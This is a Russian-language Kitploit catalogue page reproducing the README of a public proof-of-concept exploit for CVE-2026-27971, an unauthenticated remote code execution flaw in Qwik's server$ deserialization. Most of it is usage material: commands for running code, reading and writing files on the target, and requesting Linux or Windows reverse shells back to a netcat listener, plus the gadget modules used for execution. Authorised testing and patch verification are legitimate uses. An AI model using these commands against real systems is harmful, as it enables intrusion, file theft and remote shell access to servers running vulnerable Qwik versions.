Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-27971_POC — CVE-2026-27971 qwik rce | Kitploit
Инструменты/GitHubGitHub/ghalendar/cve-2026-27971_poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и УправлениеRed TeamingИнструмент Удаленного ДоступаРазработка Полезной Нагрузки
GitHubghalendar/cve-2026-27971_poc

CVE-2026-27971_POC

CVE-2026-27971 qwik rce

Репозиторий
152 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-27971 — Qwik server$ PoC неаутентифицированного удаленного выполнения кода

[!WARNING] Этот репозиторий содержит активный proof-of-concept удаленного выполнения кода. Используйте его только против систем, которыми вы владеете или на тестирование которых у вас есть явное разрешение. Автор не несет ответственности за несанкционированное использование или ущерб.

Автономный proof-of-concept на Python для CVE-2026-27971 / GHSA-p9x5-jp3h-96mm — неаутентифицированной уязвимости удаленного выполнения кода в механизме десериализации RPC server$ фреймворка Qwik.

PoC может выполнять активную проверку с маркером, запускать команды, читать и записывать текстовые файлы, а также запрашивать reverse shell на целях под управлением Linux или Windows. Для работы используется только стандартная библиотека Python.

Сводка об уязвимости

ПолеЗначение
ПродуктQwik — npm-пакет @builder.io/qwik
Затронутые версии<= 1.19.0
Исправленная версия1.19.1
УязвимостьНеаутентифицированное удаленное выполнение кода через небезопасную десериализацию server$
Условие выполненияrequire() должен быть доступен во время выполнения
CWECWE-502 — Десериализация недоверенных данных
СерьёзностьКритическая — CVSS 4.0: 9.2
ВекторCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Специально сформированный запрос application/qwik-json может ссылаться на серверный модуль и экспортируемый символ. Уязвимые версии Qwik могут разрешать незарегистрированный QRL через require() во время выполнения и вызывать его без аутентификации. Данный PoC пытается обратиться к совместимому экспорту для выполнения процессов, уже присутствующему в node_modules цели.

Требования

Оператор:

  • Python 3.
  • Сетевой доступ к точному маршруту Qwik, который обрабатывает запрос server$/Qwik JSON.
  • Прослушивающий порт (listener), доступный с целевой машины при тестировании функции reverse shell.

Цель:

  • Уязвимое развертывание Qwik с использованием @builder.io/qwik <= 1.19.0.
  • Среда выполнения, в которой доступен require().
  • Совместимый модуль-gadget и экспорт, доступные в node_modules.
  • node, доступный в PATH сервисного процесса.
  • Достаточные права учетной записи сервиса для запрошенной команды или файловой операции.

Сторонние пакеты Python не требуются.

Быстрый старт

git clone https://github.com/Ghalendar/CVE-2026-27971_POC.git
cd CVE-2026-27971_POC
python3 exploit_combat.py --help

Список встроенных гаджетов без отправки запроса:

python3 exploit_combat.py --list-gadgets

Запустить активную проверку с маркером и перебрать все встроенные гаджеты:

python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --probe

[!IMPORTANT] --probe — это не пассивное определение версии. Он пытается выполнить удаленный код и подтверждает это выводом маркера из процесса цели.

Примеры использования

Выполнить команду:

python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --CMD "node -p process.platform"

Прочитать UTF-8 текстовый файл:

python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --read package.json

Записать и проверить UTF-8 текстовый файл:

python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --write qwik-poc.txt --content "authorized lab test"

Запросить reverse shell после запуска постоянного listener'а:

nc -lvnp 4444
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --lhost 10.10.10.1 --lport 4444 --callback

Принудительно использовать Windows-полезную нагрузку reverse shell, когда автоматическое определение ОС не подходит:

python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --OS windows --lhost 10.10.10.1 --lport 4444

Скрипт не запускает listener. Предварительная проверка --callback открывает и закрывает отдельное TCP-соединение перед отправкой полезной нагрузки shell, поэтому используйте listener, способный принимать более одного соединения.

Справочник по CLI

ОпцияОписание
-t URL, --target URLТочный URL цели. По умолчанию: http://localhost:3000. Маршрут не обнаруживается автоматически.
--probeАктивно выполнить полезную нагрузку с маркером и попытаться определить ОС.
-c CMD, --CMD CMDВыполнить команду через Node.js child_process.execSync().
--read PATHПрочитать UTF-8 текстовый файл с помощью fs.readFileSync().
--write PATH --content TEXTЗаписать текстовый файл, прочитать его обратно и сравнить результат. Родительские каталоги не создаются.
--list-gadgetsВывести названия встроенных гаджетов и выйти без сетевого запроса.
--lhost IPВключить режим reverse shell и задать адрес обратного вызова.
--lport PORTЗадать порт обратного вызова. По умолчанию: 4444.
--rev-allОтправить все варианты reverse shell вместо остановки после первого принятого HTTP-запроса.
--callbackПроверить исходящую TCP-доступность перед отправкой полезной нагрузки reverse shell.
--OS {auto,linux,windows}Выбрать семейство полезных нагрузок reverse shell. По умолчанию: auto.
--gadget SPECИспользовать auto, встроенное имя или пользовательский <module>#<symbol>. По умолчанию: cross-spawn.sync.
--arg-style {argv,command,shell}Стиль аргументов для пользовательского гаджета <module>#<symbol>.
--timeout SECONDSТаймаут HTTP на стороне клиента. По умолчанию: 30.
--verify-sslВключить проверку TLS-сертификата и имени хоста. Проверка по умолчанию отключена.

Режимы действий не являются взаимоисключающими в анализаторе аргументов. Используйте один из --probe, --CMD, --read, --write или --lhost за один вызов.

Встроенные гаджеты

ИмяМодуль и экспортСтиль
cross-spawn.sync./node_modules/cross-spawn/index#syncargv
cross-spawn.index-js./node_modules/cross-spawn/index.js#syncargv
execa.sync./node_modules/execa/index#syncargv
execa.index-js.sync./node_modules/execa/index.js#syncargv
execa.commandSync./node_modules/execa/index#commandSynccommand
execa.index-js.commandSync./node_modules/execa/index.js#commandSynccommand
node-cmd.runSync./node_modules/node-cmd/cmd#runSyncshell
node-cmd.cmd-js.runSync./node_modules/node-cmd/cmd.js#runSyncshell

Режим --gadget auto перебирает эти гаджеты в указанном порядке. Пользовательский гаджет можно задать следующим образом:

python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget "./node_modules/package/path#exportName" --arg-style argv --probe

Важные ограничения

Скачать инструмент